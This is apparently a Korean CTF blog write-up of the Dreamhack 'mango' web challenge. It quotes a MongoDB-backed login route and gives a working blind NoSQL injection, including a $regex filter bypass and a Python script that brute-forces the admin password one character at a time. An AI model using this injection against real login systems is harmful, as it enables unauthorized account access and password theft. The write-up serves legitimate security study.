CTF & Wargame(WEB)

[dreamhack] level 2 mango

KWAKBUMJUN 2025. 4. 14. 02:40

엔드포인트 분석

/login

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

만약 admin, dh, admi와 같은 필터링 키워드를 사용자가 입력하면 filter을 전송함.

 

취약점 분석

/login은 로그인에 성공했을때 이용자의 uid를 출력해준다. 그렇다면 admin이 로그인에 성공했다면 admin을 출력창에 띄워줄 것이다. 이러한  특성을 이용하여 우리는 admin 계정의 비밀번호를 획득할 것이다.

1. Blind NoSQL Injection Payload 생성

MongoDB의 $regex연산을 사용하면 정규표현식을 이용해 데이터를 검색할 수 있습니다. upw가 일치하는 경우 uid, 아닌 경우 undefined 문자열이 출력되는 것을 통해 쿼리의 참과 거짓을 확인할 수 있습니다.

filter 우회
 
이렇게 upw에 문자를 하나씩 넣어가며 admin이 출력되면 추가하는 식으로 비밀번호를 알아보자
 

익스플로잇 코드

import requests, string

HOST = 'http://host3.dreamhack.games:22342/'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'

flag = ''

for i in range(32):
    for ch in ALPHANUMERIC:
        response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
        if response.text == SUCCESS:
            flag += ch
            break

    print(f'FLAG: DH{{{flag}}}')